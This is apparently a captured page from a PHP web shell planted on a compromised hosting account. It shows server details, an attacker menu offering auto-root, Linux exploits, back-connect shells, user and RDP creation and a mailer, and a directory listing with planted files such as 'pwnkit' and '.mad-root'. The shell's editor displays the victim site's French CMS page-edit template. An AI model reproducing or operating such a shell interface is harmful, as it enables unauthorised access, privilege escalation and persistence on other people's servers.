Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
quaadraa /
admin /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
contacts.php
2.22
KB
-rw----r--
dashboard.php
3.3
KB
-rw----r--
layout.php
4.61
KB
-rw----r--
login.php
1.73
KB
-rw----r--
news-edit.php
15.52
KB
-rw----r--
news-form.php
7.39
KB
-rw----r--
news.php
3.55
KB
-rw----r--
page-edit.php
16.18
KB
-rw----r--
pages.php
3
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
settings.php
4.46
KB
-rw----r--
subsidiaries.php
2.1
KB
-rw----r--
subsidiary-edit.php
3.76
KB
-rw----r--
users.php
3.48
KB
-rw----r--
worksec.php
1.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : page-edit.php
<div class="admin-breadcrumb"> <a href="/admin/pages">← Toutes les pages</a> <span>/ Modifier</span> </div> <?php if (!empty($success)): ?> <div class="alert alert-success">✅ Page mise à jour avec succès.</div> <?php endif; ?> <?php if (!empty($errors)): ?> <div class="alert alert-error"> <?php foreach ($errors as $err): ?><p>❌ <?= htmlspecialchars($err) ?></p><?php endforeach; ?> </div> <?php endif; ?> <form method="POST" action="/admin/pages/<?= (int)$pageData['id'] ?>/edit" class="admin-form" enctype="multipart/form-data"> <input type="hidden" name="_csrf" value="<?= htmlspecialchars($csrf) ?>"> <div class="form-cols"> <div class="form-col-main"> <div class="adm-field <?= isset($errors['title']) ? 'has-error' : '' ?>"> <label for="title">Titre de la page *</label> <input type="text" id="title" name="title" required value="<?= htmlspecialchars($pageData['title'] ?? '') ?>" placeholder="Titre affiché dans l'onglet et le hero"> <?php if (isset($errors['title'])): ?> <span class="field-error"><?= htmlspecialchars($errors['title']) ?></span> <?php endif; ?> </div> <div class="adm-field"> <label for="meta_desc"> Méta description <span class="field-hint" id="meta-count">0 / 160 caractères</span> </label> <textarea id="meta_desc" name="meta_desc" rows="3" maxlength="320" placeholder="Description affichée dans Google (idéal : 140–160 caractères)"><?= htmlspecialchars($pageData['meta_desc'] ?? '') ?></textarea> </div> <div class="adm-field"> <label for="meta_keywords">Mots-clés SEO</label> <input type="text" id="meta_keywords" name="meta_keywords" value="<?= htmlspecialchars($pageData['meta_keywords'] ?? '') ?>" placeholder="quaadra, groupe africain, médias togo, …"> </div> <div class="adm-field"> <label for="hero_image">Image hero (Téléverser une nouvelle image)</label> <input type="file" id="hero_image" name="hero_image" accept="image/*"> <input type="hidden" name="current_hero_image" value="<?= htmlspecialchars($pageData['hero_image'] ?? '') ?>"> <?php if (!empty($pageData['hero_image'])): ?> <div class="img-preview" style="margin-top:.5rem"> <p style="font-size:0.7rem; color:#8e8e8e;">Image actuelle :</p> <img src="<?= htmlspecialchars($pageData['hero_image']) ?>" alt="Hero actuel" style="max-width:100%;max-height:120px;object-fit:cover;border:1px solid #3a3a3a;"> </div> <?php endif; ?> </div> <div class="adm-field <?= isset($errors['content']) ? 'has-error' : '' ?>"> <label for="content"> Contenu de la page * <span class="field-hint">HTML accepté</span> </label> <div class="editor-toolbar"> <button type="button" class="ed-btn" data-tag="h2" title="Titre H2">H2</button> <button type="button" class="ed-btn" data-tag="h3" title="Titre H3">H3</button> <button type="button" class="ed-btn" data-tag="p" title="Paragraphe">¶</button> <button type="button" class="ed-btn" data-tag="strong" title="Gras"><b>B</b></button> <button type="button" class="ed-btn" data-tag="em" title="Italique"><i>I</i></button> <button type="button" class="ed-btn" data-tag="ul" title="Liste à puces">☰</button> <button type="button" class="ed-btn" data-tag="ol" title="Liste numérotée">1.</button> <button type="button" class="ed-btn" data-tag="a" title="Lien">🔗</button> <button type="button" class="ed-btn" data-tag="blockquote" title="Citation">❝</button> <button type="button" class="ed-btn" data-tag="img" title="Image">🖼</button> <button type="button" class="ed-btn" data-tag="hr" title="Séparateur">—</button> <span class="toolbar-sep"></span> <button type="button" class="ed-btn ed-btn-preview" id="toggle-preview"> 👁 Aperçu </button> </div> <textarea id="content" name="content" rows="22" placeholder="<p>Contenu de votre page…</p>"><?= htmlspecialchars($pageData['content'] ?? '') ?></textarea> <?php if (isset($errors['content'])): ?> <span class="field-error"><?= htmlspecialchars($errors['content']) ?></span> <?php endif; ?> </div> <div class="content-preview-wrap" id="preview-wrap" style="display:none"> <div class="preview-header"> <span>Aperçu</span> <button type="button" id="close-preview" class="ed-btn">✕ Fermer</button> </div> <div class="content-preview" id="content-preview"></div> </div> </div><div class="form-col-aside"> <div class="aside-card"> <h3 class="aside-card-title">Informations</h3> <dl class="info-dl"> <div class="info-dl-row"> <dt>Langue</dt> <dd> <span class="badge-lang"><?= strtoupper(htmlspecialchars($pageData['lang'] ?? 'fr')) ?></span> </dd> </div> <div class="info-dl-row"> <dt>Slug</dt> <dd style="font-family:monospace;font-size:.78rem;color:#C9A84C"> /<?= htmlspecialchars($pageData['lang'] ?? 'fr') ?>/<?= htmlspecialchars($pageData['slug'] ?? '') ?> </dd> </div> <div class="info-dl-row"> <dt>Ordre</dt> <dd> <input type="number" name="sort_order" min="0" max="99" value="<?= (int)($pageData['sort_order'] ?? 0) ?>" style="width:60px;padding:.3rem .5rem;background:#111;border:1px solid #3a3a3a;color:#f0ece4;font-size:.85rem"> </dd> </div> <div class="info-dl-row"> <dt>Créée le</dt> <dd><?= !empty($pageData['created_at']) ? date('d/m/Y', strtotime($pageData['created_at'])) : '—' ?></dd> </div> <div class="info-dl-row"> <dt>Modifiée le</dt> <dd><?= !empty($pageData['updated_at']) ? date('d/m/Y H:i', strtotime($pageData['updated_at'])) : '—' ?></dd> </div> </dl> </div> <div class="aside-card" style="margin-top:1rem"> <h3 class="aside-card-title">Statut</h3> <div class="adm-field"> <label class="checkbox-label"> <input type="checkbox" name="is_published" value="1" <?= !empty($pageData['is_published']) ? 'checked' : '' ?>> <span>Page publiée</span> </label> <small style="color:#5e5e5e;font-size:.72rem;margin-left:1.5rem;display:block;margin-top:.2rem"> Une page non publiée retourne une 404 </small> </div> <div class="adm-actions"> <button type="submit" class="adm-btn adm-btn-primary"> 💾 Enregistrer </button> <?php $previewSlug = $pageData['slug'] ?? ''; $previewLang = $pageData['lang'] ?? 'fr'; $previewUrl = "/{$previewLang}/{$previewSlug}"; ?> <a href="<?= htmlspecialchars($previewUrl) ?>" target="_blank" class="adm-btn" style="text-align:center"> 👁 Voir la page </a> </div> </div> <div class="aside-card" style="margin-top:1rem"> <h3 class="aside-card-title">SEO — Indicateurs</h3> <div class="seo-indicators" id="seo-indicators"> <div class="seo-row" id="seo-title-len"> <span class="seo-dot seo-grey"></span> Titre : <span id="seo-title-val">—</span> </div> <div class="seo-row" id="seo-meta-len"> <span class="seo-dot seo-grey"></span> Méta : <span id="seo-meta-val">—</span> </div> <div class="seo-row" id="seo-content-len"> <span class="seo-dot seo-grey"></span> Contenu : <span id="seo-content-val">—</span> </div> </div> </div> </div></div></form> <style> .admin-breadcrumb { margin-bottom:1.5rem;font-size:.82rem;color:#5e5e5e; } .admin-breadcrumb a { color:#C9A84C; } .admin-breadcrumb span { margin-left:.5rem; } .form-cols { display:grid;grid-template-columns:1fr 260px;gap:2rem;align-items:start; } @media(max-width:900px){ .form-cols{grid-template-columns:1fr;} } .adm-field { margin-bottom:1.25rem; } .adm-field label { display:flex;align-items:center;justify-content:space-between; font-size:.72rem;font-weight:700;letter-spacing:.1em;text-transform:uppercase; color:#8e8e8e;margin-bottom:.4rem; } .field-hint { font-weight:400;letter-spacing:0;text-transform:none;color:#5e5e5e;font-size:.72rem; } .adm-field input[type="text"], .adm-field input[type="file"], .adm-field input[type="number"], .adm-field textarea { width:100%;padding:.7rem 1rem;background:#1c1c1c;border:1px solid #3a3a3a; color:#f0ece4;font-family:inherit;font-size:.9rem;transition:border-color .2s;resize:vertical; } .adm-field input:focus,.adm-field textarea:focus { outline:none;border-color:#C9A84C; } .adm-field.has-error input,.adm-field.has-error textarea { border-color:#c0392b; } .field-error { font-size:.75rem;color:#c0392b;display:block;margin-top:.25rem; } .checkbox-label { display:flex;align-items:center;gap:.6rem;cursor:pointer;color:#8e8e8e;font-size:.88rem; } .checkbox-label input { accent-color:#C9A84C;width:15px;height:15px; } .editor-toolbar { display:flex;flex-wrap:wrap;gap:.35rem; padding:.5rem;background:#111;border:1px solid #3a3a3a;border-bottom:none; align-items:center; } .ed-btn { padding:.3rem .6rem;background:#1c1c1c;border:1px solid #3a3a3a; color:#8e8e8e;font-size:.75rem;font-weight:700;cursor:pointer;transition:all .2s; } .ed-btn:hover,.ed-btn-preview:hover { background:#C9A84C;border-color:#C9A84C;color:#000; } .toolbar-sep { flex:1; } #content { border-top:none; } .content-preview-wrap { border:1px solid #3a3a3a;margin-top:.5rem; } .preview-header { display:flex;justify-content:space-between;align-items:center; padding:.5rem 1rem;background:#111;border-bottom:1px solid #2a2a2a; font-size:.72rem;font-weight:700;letter-spacing:.1em;text-transform:uppercase;color:#8e8e8e; } .content-preview { padding:1.5rem;background:#0d0d0d;min-height:200px;max-height:500px; overflow-y:auto;font-size:.9rem;line-height:1.75;color:#8e8e8e; } .content-preview h2,.content-preview h3 { color:#f0ece4;margin:1rem 0 .5rem; } .content-preview img { max-width:100%;height:auto;margin:.75rem 0; } .aside-card { background:#1c1c1c;border:1px solid #2a2a2a;padding:1.25rem; } .aside-card-title { font-size:.72rem;font-weight:700;letter-spacing:.15em;text-transform:uppercase; color:#8e8e8e;margin:0 0 1rem;padding-bottom:.6rem;border-bottom:1px solid #2a2a2a; } .info-dl-row { display:grid;grid-template-columns:90px 1fr;gap:.5rem;align-items:center;margin-bottom:0.75rem; } .info-dl-row dt { font-size:.7rem;font-weight:700;letter-spacing:.1em;text-transform:uppercase;color:#5e5e5e; } .info-dl-row dd { font-size:.82rem;color:#8e8e8e; } .badge-lang { font-family:inherit;font-size:.7rem;font-weight:700;letter-spacing:.15em;padding:.2rem .55rem;background:rgba(201,168,76,.12);color:#C9A84C;border:1px solid rgba(201,168,76,.25); } .adm-btn { display:block;width:100%;padding:.75rem;text-align:center; font-size:.78rem;font-weight:700;letter-spacing:.06em;text-transform:uppercase; border:1px solid #3a3a3a;color:#8e8e8e;cursor:pointer; background:none;transition:all .2s;text-decoration:none; } .adm-btn:hover { border-color:#5e5e5e;color:#f0ece4; } .adm-btn-primary { background:#C9A84C;border-color:#C9A84C;color:#0d0d0d; } .adm-btn-primary:hover { background:#e0c47a;border-color:#e0c47a;color:#0d0d0d; } .seo-indicators { display:flex;flex-direction:column;gap:.6rem; } .seo-row { display:flex;align-items:center;gap:.5rem;font-size:.78rem;color:#5e5e5e; } .seo-dot { width:8px;height:8px;border-radius:50%;flex-shrink:0; } .seo-grey { background:#3a3a3a; } .seo-orange { background:#e67e22; } .seo-green { background:#27ae60; } .seo-red { background:#e74c3c; } .alert { padding:.85rem 1.25rem;margin-bottom:1.5rem;font-size:.88rem; } .alert-success { background:rgba(39,174,96,.1);border:1px solid rgba(39,174,96,.3);color:#27ae60; } .alert-error { background:rgba(192,57,43,.1);border:1px solid rgba(192,57,43,.3);color:#e74c3c; } </style> <script> (function () { const titleInput = document.getElementById('title'); const metaInput = document.getElementById('meta_desc'); const contentArea = document.getElementById('content'); const metaCount = document.getElementById('meta-count'); const previewWrap = document.getElementById('preview-wrap'); const previewBox = document.getElementById('content-preview'); const toggleBtn = document.getElementById('toggle-preview'); const closeBtn = document.getElementById('close-preview'); const updateMetaCount = () => { const len = metaInput.value.length; metaCount.textContent = `${len} / 160 caractères`; metaCount.style.color = len < 50 ? '#e74c3c' : len <= 160 ? '#27ae60' : '#e67e22'; }; metaInput?.addEventListener('input', updateMetaCount); updateMetaCount(); const updateSeo = () => { const tLen = titleInput?.value.length || 0; const tEl = document.getElementById('seo-title-val'); const tRow = document.getElementById('seo-title-len'); if (tEl) { tEl.textContent = tLen + ' car.'; const dot = tRow.querySelector('.seo-dot'); dot.className = 'seo-dot ' + (tLen === 0 ? 'seo-grey' : tLen < 30 ? 'seo-orange' : tLen <= 65 ? 'seo-green' : 'seo-red'); } const mLen = metaInput?.value.length || 0; const mEl = document.getElementById('seo-meta-val'); const mRow = document.getElementById('seo-meta-len'); if (mEl) { mEl.textContent = mLen + ' car.'; const dot = mRow.querySelector('.seo-dot'); dot.className = 'seo-dot ' + (mLen === 0 ? 'seo-grey' : mLen < 50 ? 'seo-orange' : mLen <= 160 ? 'seo-green' : 'seo-red'); } const cLen = contentArea?.value.replace(/<[^>]+>/g, '').length || 0; const cEl = document.getElementById('seo-content-val'); const cRow = document.getElementById('seo-content-len'); if (cEl) { cEl.textContent = cLen + ' car.'; const dot = cRow.querySelector('.seo-dot'); dot.className = 'seo-dot ' + (cLen === 0 ? 'seo-grey' : cLen < 300 ? 'seo-orange' : 'seo-green'); } }; titleInput?.addEventListener('input', updateSeo); metaInput?.addEventListener('input', updateSeo); contentArea?.addEventListener('input', updateSeo); updateSeo(); toggleBtn?.addEventListener('click', () => { const visible = previewWrap.style.display !== 'none'; previewWrap.style.display = visible ? 'none' : 'block'; if (!visible) previewBox.innerHTML = contentArea.value || '<p style="color:#5e5e5e;font-style:italic">Aperçu du contenu…</p>'; }); closeBtn?.addEventListener('click', () => { previewWrap.style.display = 'none'; }); document.querySelectorAll('.ed-btn[data-tag]').forEach(btn => { btn.addEventListener('click', () => { const tag = btn.dataset.tag; const start = contentArea.selectionStart; const end = contentArea.selectionEnd; const sel = contentArea.value.substring(start, end); let ins = ''; switch (tag) { case 'hr': ins = '\n<hr>\n'; break; case 'img': const src = prompt('URL de l\'image (ou chemin dans /assets/images/) :', '/assets/images/'); if (!src) return; ins = `<img src="${src}" alt="Image" style="max-width:100%">`; break; case 'a': const href = prompt('URL du lien :', 'https://'); if (!href) return; ins = `<a href="${href}">${sel || 'Texte du lien'}</a>`; break; case 'ul': ins = `<ul>\n <li>${sel || 'Élément 1'}</li>\n <li>Élément 2</li>\n</ul>`; break; case 'ol': ins = `<ol>\n <li>${sel || 'Élément 1'}</li>\n <li>Élément 2</li>\n</ol>`; break; case 'p': ins = `<p>${sel || 'Votre texte…'}</p>`; break; default: ins = `<${tag}>${sel || 'Texte'}</${tag}>`; } contentArea.setRangeText(ins, start, end, 'end'); contentArea.dispatchEvent(new Event('input')); contentArea.focus(); }); }); })(); </script>
Close